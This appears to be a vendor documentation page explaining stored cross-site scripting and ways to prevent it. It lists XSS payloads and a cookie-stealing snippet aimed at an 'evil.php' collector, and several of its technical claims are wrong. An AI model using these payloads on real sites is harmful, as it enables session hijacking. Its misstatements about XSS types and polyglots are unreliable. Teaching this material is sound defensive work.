Skip to main content

Prevent stored XSS attacks

This section discusses stored XSS vulnerabilities and how to prevent them.

About stored cross-site scripting

In a stored XSS attack, the vulnerable web application receives user-supplied input from untrusted sources and stores it. This malicious content also gets included in the later HTTP responses sent by the server.

To perform a Stored XSS attack, hackers only need to identify a security vulnerability within the backend application that allows executing malicious requests. This makes it more exploitable as hackers do not need to craft external methods for supplying untrusted inputs to the target application server.

Stored XSS, also known as Type-1 or Persistent XSS attacks, typically rely on unsanitized user input points for scripts permanently stored on the target servers. Since these attacks allow malicious users to control how the browser executes a script, they can typically facilitate a complete user account takeover.

The impact of a successful attack ranges from mild to full-blown compromise depending on the privileges assigned to the valid affected user. Some consequences of successful XSS attacks include:

Stored XSS differs from reflected XSS. In reflected XSS, the server executes the malicious content and includes it only in the immediate HTTP response, whereas, in stored XSS, the arbitrary code gets stored.

Unlike other XSS attacks where the user has to be logged in at the time of bad code injection, the stored XSS payload is persisted within the web server and is executed by the browser for every user that signs in, making it the more dangerous type of attack.

Hackers have targeted stored XSS vulnerabilities for a long time since the malicious code stored on the target application has an enormous reach.

Stored XSS payloads

A persistent attack aims to inject bad code into popular user-supplied input points, such as comments on blog posts, username fields, and message boards. The payload lets the malicious user bypass XSS filters and input validation checks.

Knowledge of these payloads is essential for application security professionals looking to test and mitigate the stored XSS vulnerability. Some of these payloads include:

Polyglot-based XSS payload

This type of attack targets a vulnerability in polyglot- a framework that enables the execution of code in multiple contexts in raw form. This creates an XSS injection attack vector since attackers can use polyglot scripts to bypass Content Security Policies (CSPs). A typical polyglot XSS script would look similar to:

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

JavaScript directive for image XSS payload

This payload allows for the execution of JavaScript within the context of an image. Attackers mainly use this strategy to perform malicious activities on user profile pages and other image links. The script would look like this:

<IMG SRC="javascript:alert('XSS');">

Bypassing HTML entity encoding

HTML entity encoding forms a typical first line of defense against cross-site scripting vulnerabilities by performing input data validation. Bad actors often craft scripts to bypass or disable HTML encoding, allowing them to supply unvalidated input to the server. The HTML entity bypass code would look similar to:

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

Improper IMG tags

This attack payload relies on compromised browser rendering to create an attack surface in an <IMG> tag. This allows them to insert a JavaScript event method into objects created within image tags. The code segment below shows a malformed IMG tag used to test for and exploit stored XSS vulnerabilities. The script would look similar to:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>

Attack examples

Ways to exploit stored cross-site scripting vulnerabilities include:

Attackers can steal a session cookie from logged-in, authenticated users. They inject client-side scripts that pass an escaped content of the authentication cookie details for the document. To do this, they only have to include the below code in any form which accepts user input, such as user profiles, private messages, or user forums:

<SCRIPT type="text/javascript">  
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

This script execution writes the cookie details to the evil.php file, where attackers can check the result of the script to assume the identity of the user.

Error page manipulation

Attackers can also target error messages like the classic 404 error page, which notifies users of non-existing pages to inject XSS code. Assuming the site that informs the user about the missing page runs on code similar to:

<html>  
<body>
<? php
print "Not found:". urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>

For example, if a user selects a non-existent webpage located at http://darwin.test/non_existent_file, they get the following response:

Not found: /non_existent_file

Attackers can manipulate this error page to include a bad code: http://darwin.test/<script>alert("TEST");</script>, the HTTP response now is an error page, but it would also include the bad JavaScript code <script>alert("TEST");</script>

Once the script tags are successfully injected, users can be misled into selecting the malicious link in a phishing email or social engineering tricks.

Prevent attacks

Below are the ways to prevent hackers from exploiting the stored XSS vulnerability in a web application:

Perform proper input validation

Input validation is the default primary step to prevent injection attacks. Proper input validation controls must be performed at every application tier to ensure it only accepts trusted user input. Encoding input before sending it to the browser ensures that attackers cannot tamper with user-supplied data.

Web developers should als enforce integrity checks throughout the software lifecycle to ensure the target application does not include dangerous content in its response.

These should include content filtering checks to ensure that input from users does not abuse the business rules to ensure data parameters stay within allowed ranges.

Use a vulnerability scanner

It is difficult to test for stored XSS vulnerabilities manually. However, an automated vulnerability scanner can test for all data entry and exit points used to inject and execute malicious scripts.

DAST Essentials ships with a vulnerability scanner that helps prevent XSS attacks by mapping the relationships between entries and response exit points to ensure that only valid scripts are accepted by the server and executed in the browser. DAST Essentials also includes an automated penetration testing solution to fix stored XSS vulnerabilities before being shipped into production.

Enforce a strong Content Security Policy (CSP)

All modern browsers support CSPs, which developers use to instruct browsers on the allowed sources to load JavaScript and other resources. Since stored XSS attacks rely on the attacker to include malicious inline <script> tags within the <html> tag of the page, CSPs prevent attacks by implementing the same-origin policy. The content security policy is set as a <meta> tag within the <head> tag of the page.

Escape dynamic content

Stored XSS attacks take advantage of flaws in the delivery of dynamic content persisted within the application backend. First, it is essential to keep registered users from submitting raw HTML in input forms. Additionally, any dynamic content and special characters should be escaped so that the browser does not treat them as raw HTML source code but as the contents of HTML tags.